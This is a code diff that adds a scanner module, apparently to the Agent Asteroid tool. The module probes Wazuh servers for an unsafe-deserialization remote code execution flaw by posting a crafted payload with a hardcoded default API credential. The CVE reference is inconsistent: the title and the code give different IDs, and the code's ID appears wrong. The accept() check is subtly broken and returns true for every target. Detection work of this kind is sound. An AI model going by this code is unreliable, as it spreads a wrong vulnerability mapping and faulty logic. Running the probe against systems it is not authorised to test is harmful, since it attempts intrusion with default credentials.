Add Detection for CVE-2025-53704

agent/exploits/cve_2025_53704.py

@@ -0,0 +1,84 @@
+"""Agent Asteroid implementation for CVE-2024-53704"""
+
+import base64
+import datetime
+import logging
+
+from requests import exceptions as requests_exceptions
+
+from agent import definitions
+from agent import exploits_registry
+from agent.exploits import webexploit
+
+VULNERABILITY_TITLE = "Wazuh Remote Code Execution (RCE)"
+VULNERABILITY_REFERENCE = "CVE-2024-53704"
+VULNERABILITY_DESCRIPTION = """
+A remote code execution (RCE) vulnerability in Wazuh allows remote attackers with API access
+(compromised dashboard, Wazuh servers in the cluster, or certain configurations with compromised agents)
+to execute arbitrary code on the server due to unsafe deserialization in the `wazuh-manager` package.
+"""
+RISK_RATING = "CRITICAL"
+DEFAULT_TIMEOUT = datetime.timedelta(seconds=10)
+WAZUH_API_ENDPOINT = "/security/user/authenticate/run_as"
+WAZUH_INDICATOR = "<title>Wazuh</title>"
+WAZUH_VERSION_INDICATOR = "wazuhVersion"
+
+
+@exploits_registry.register
+class WazuhRCEExploit(webexploit.WebExploit):
+    """
+    CVE-2024-53704: Wazuh Remote Code Execution (RCE)
+    """
+
+    metadata = definitions.VulnerabilityMetadata(
+        title=VULNERABILITY_TITLE,
+        description=VULNERABILITY_DESCRIPTION,
+        reference=VULNERABILITY_REFERENCE,
+        risk_rating=RISK_RATING,
+    )
+
+    def accept(self, target: definitions.Target) -> bool:
+        """
+        Check if the target appears to be a Wazuh server.
+        """
+        try:
+            response = self.session.get(
+                f"{target.origin}", verify=False, timeout=DEFAULT_TIMEOUT.seconds
+            )
+            return WAZUH_INDICATOR or WAZUH_VERSION_INDICATOR in response.text
+        except requests_exceptions.RequestException:
+            return False
+
+    def check(self, target: definitions.Target) -> list[definitions.Vulnerability]:
+        """
+        Exploit the unsafe deserialization vulnerability in Wazuh.
+        """
+        vulnerabilities: list[definitions.Vulnerability] = []
+
+        headers = {
+            "Authorization": "Basic "
+            + base64.b64encode(b"wazuh-wui:MyS3cr37P450r.*-").decode(),
+            "Content-Type": "application/json",
+        }
+
+        payload = {"__unhandled_exc__": {"__class__": "exit", "__args__": []}}
+
+        try:
+            response = self.session.post(
+                f"{target.origin}{WAZUH_API_ENDPOINT}",
+                headers=headers,
+                json=payload,
+                verify=False,
+                timeout=DEFAULT_TIMEOUT.seconds,
+            )
+
+            if response.status_code == 200:
+                logging.info(
+                    "Potential RCE vulnerability detected on %s", target.origin
+                )
+                vuln = self._create_vulnerability(target)
+                vulnerabilities.append(vuln)
+        except requests_exceptions.RequestException as e:
+            logging.error("Error while exploiting Wazuh RCE: %s", e)
+
+        return vulnerabilities